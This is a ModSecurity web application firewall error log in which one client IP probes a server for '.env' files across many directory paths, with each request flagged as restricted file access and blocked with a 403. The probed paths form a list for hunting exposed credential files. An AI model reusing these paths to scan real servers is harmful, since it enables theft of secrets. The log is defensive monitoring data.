[Thu Feb 26 01:03:04.292730 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlgAAAAQ&quot;]
[Thu Feb 26 01:03:04.318556 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/kafka_twitter/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNgAAAAI&quot;]
[Thu Feb 26 01:03:04.318911 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNgAAAAI&quot;]
[Thu Feb 26 01:03:04.319143 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/kafka_twitter/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNgAAAAI&quot;]
[Thu Feb 26 01:03:04.336147 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /exercise.frontend/train/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlwAAAAQ&quot;]
[Thu Feb 26 01:03:04.336477 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlwAAAAQ&quot;]
[Thu Feb 26 01:03:04.336692 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Exercise.Frontend/train/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHlwAAAAQ&quot;]
[Thu Feb 26 01:03:04.348798 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /final_project/startingfile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNwAAAAI&quot;]
[Thu Feb 26 01:03:04.349028 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNwAAAAI&quot;]
[Thu Feb 26 01:03:04.349191 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Final_Project/StartingFile/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlNwAAAAI&quot;]
[Thu Feb 26 01:03:04.386618 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /finalversion/lcomernbootcamp/projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOAAAAAI&quot;]
[Thu Feb 26 01:03:04.386856 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOAAAAAI&quot;]
[Thu Feb 26 01:03:04.387012 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/finalVersion/lcomernbootcamp/projbackend/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOAAAAAI&quot;]
[Thu Feb 26 01:03:04.393031 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /export/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmAAAAAQ&quot;]
[Thu Feb 26 01:03:04.393336 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmAAAAAQ&quot;]
[Thu Feb 26 01:03:04.393491 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/export/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmAAAAAQ&quot;]
[Thu Feb 26 01:03:04.424308 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fastlane/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmQAAAAQ&quot;]
[Thu Feb 26 01:03:04.424525 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmQAAAAQ&quot;]
[Thu Feb 26 01:03:04.424672 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fastlane/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmQAAAAQ&quot;]
[Thu Feb 26 01:03:04.459025 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOgAAAAI&quot;]
[Thu Feb 26 01:03:04.459247 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOgAAAAI&quot;]
[Thu Feb 26 01:03:04.459410 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/first-network/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOgAAAAI&quot;]
[Thu Feb 26 01:03:04.461687 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favicons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmgAAAAQ&quot;]
[Thu Feb 26 01:03:04.461901 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmgAAAAQ&quot;]
[Thu Feb 26 01:03:04.462048 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favicons/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmgAAAAQ&quot;]
[Thu Feb 26 01:03:04.490247 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /first_config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOwAAAAI&quot;]
[Thu Feb 26 01:03:04.490513 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOwAAAAI&quot;]
[Thu Feb 26 01:03:04.490673 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/FIRST_CONFIG/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlOwAAAAI&quot;]
[Thu Feb 26 01:03:04.498450 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /favs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmwAAAAQ&quot;]
[Thu Feb 26 01:03:04.498680 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmwAAAAQ&quot;]
[Thu Feb 26 01:03:04.498833 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/favs/.env&quot;] [unique_id &quot;aZ-NuDf0JOOqB-ib2UlHmwAAAAQ&quot;]
[Thu Feb 26 01:03:04.524398 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /fisdom/fisdom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/fisdom/fisdom/.env&quot;] [unique_id &quot;aZ-NuICbt-ue5ARpbmjlPAAAAAI&quot;]
